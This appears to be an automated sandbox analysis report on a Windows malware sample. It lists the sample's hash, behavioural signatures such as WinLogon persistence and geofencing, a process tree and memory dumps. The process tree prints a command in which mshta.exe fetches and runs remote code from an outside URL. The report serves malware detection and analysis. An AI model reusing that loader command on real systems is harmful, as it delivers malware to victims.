Analysis
- max time kernel
150s - max time network
137s - platform
windows10-2004_x64 - resource
win10v2004-20260911-en - resource tags
- submitted
02/10/2026, 07:57
General
- Target jaffacakes118_78098df38d2a8698b193097168fce8365b847c69e7c27787fd095c505f66676c.exe
- Size 1.1MB
- Sample261002-jte5bada86
- SHA256 78098df38d2a8698b193097168fce8365b847c69e7c27787fd095c505f66676c
Malware Config
Extracted
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hta
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hta.dropper
http://rerererererere.com/inst.php?id=forbidden
Signatures
- Modifies WinLogon for persistence 2 TTPs 1 IoCs
- Checks computer location settings 2 TTPs 2 IoCs
Looks up country code configured in the registry, likely geofence.
- Executes dropped EXE 2 IoCs
- UPX packed file 23 IoCs
Detects executables packed with UPX/modified UPX open source packer.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 1 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
- Reads the TCP/IP host and domain name from the registry 1 TTPs 2 IoCs
The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.
- System Location Discovery: System Language Discovery 1 TTPs 5 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Suspicious behavior: EnumeratesProcesses 64 IoCs
- Suspicious use of SetWindowsHookEx 4 IoCs
- Suspicious use of WriteProcessMemory 3 IoCs
Processes
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C:\Users\Admin\AppData\Local\Temp\jaffacakes118_78098df38d2a8698b193097168fce8365b847c69e7c27787fd095c505f66676c.exe"C:\Users\Admin\AppData\Local\Temp\jaffacakes118_78098df38d2a8698b193097168fce8365b847c69e7c27787fd095c505f66676c.exe"1⤵
- Checks computer location settings
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
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C:\Users\Admin\AppData\Roaming\z.exe"C:\Users\Admin\AppData\Roaming\z.exe" forbidden2⤵
- Modifies WinLogon for persistence
- Checks computer location settings
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" http://rerererererere.com/inst.php?id=forbidden3⤵
- Reads the TCP/IP host and domain name from the registry
- System Location Discovery: System Language Discovery
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C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\cgdf.bat" "3⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
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C:\Users\Admin\AppData\Roaming\palladium.exeC:\Users\Admin\AppData\Roaming\palladium.exe1⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
Network
MITRE ATT&CK Enterprise v16
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Downloads
cgdf.bat
z.exe
memory/428-32-0x0000000000400000-0x000000000082D000-memory.dmp
memory/428-41-0x0000000000400000-0x000000000082D000-memory.dmp
memory/428-14-0x0000000000400000-0x000000000082D000-memory.dmp
memory/428-16-0x0000000000400000-0x000000000082D000-memory.dmp
memory/428-17-0x0000000000400000-0x000000000082D000-memory.dmp
memory/428-46-0x0000000000400000-0x000000000082D000-memory.dmp
memory/428-45-0x0000000000400000-0x000000000082D000-memory.dmp
memory/428-44-0x0000000000400000-0x000000000082D000-memory.dmp
memory/428-30-0x0000000000400000-0x000000000082D000-memory.dmp
memory/428-31-0x0000000000400000-0x000000000082D000-memory.dmp
memory/428-35-0x0000000000400000-0x000000000082D000-memory.dmp
memory/428-33-0x0000000000400000-0x000000000082D000-memory.dmp
memory/428-42-0x0000000000400000-0x000000000082D000-memory.dmp
memory/428-43-0x0000000000400000-0x000000000082D000-memory.dmp
memory/428-34-0x0000000000400000-0x000000000082D000-memory.dmp
memory/428-37-0x0000000000400000-0x000000000082D000-memory.dmp
memory/428-38-0x0000000000400000-0x000000000082D000-memory.dmp
memory/428-39-0x0000000000400000-0x000000000082D000-memory.dmp
memory/428-40-0x0000000000400000-0x000000000082D000-memory.dmp
memory/428-36-0x0000000000400000-0x000000000082D000-memory.dmp
memory/2580-29-0x0000000000400000-0x000000000082D000-memory.dmp
memory/2580-27-0x0000000000400000-0x000000000082D000-memory.dmp
memory/2836-15-0x0000000000400000-0x000000000051F000-memory.dmp
memory/2836-0-0x00000000006C0000-0x00000000006C1000-memory.dmp
memory/2836-1-0x0000000000451000-0x0000000000452000-memory.dmp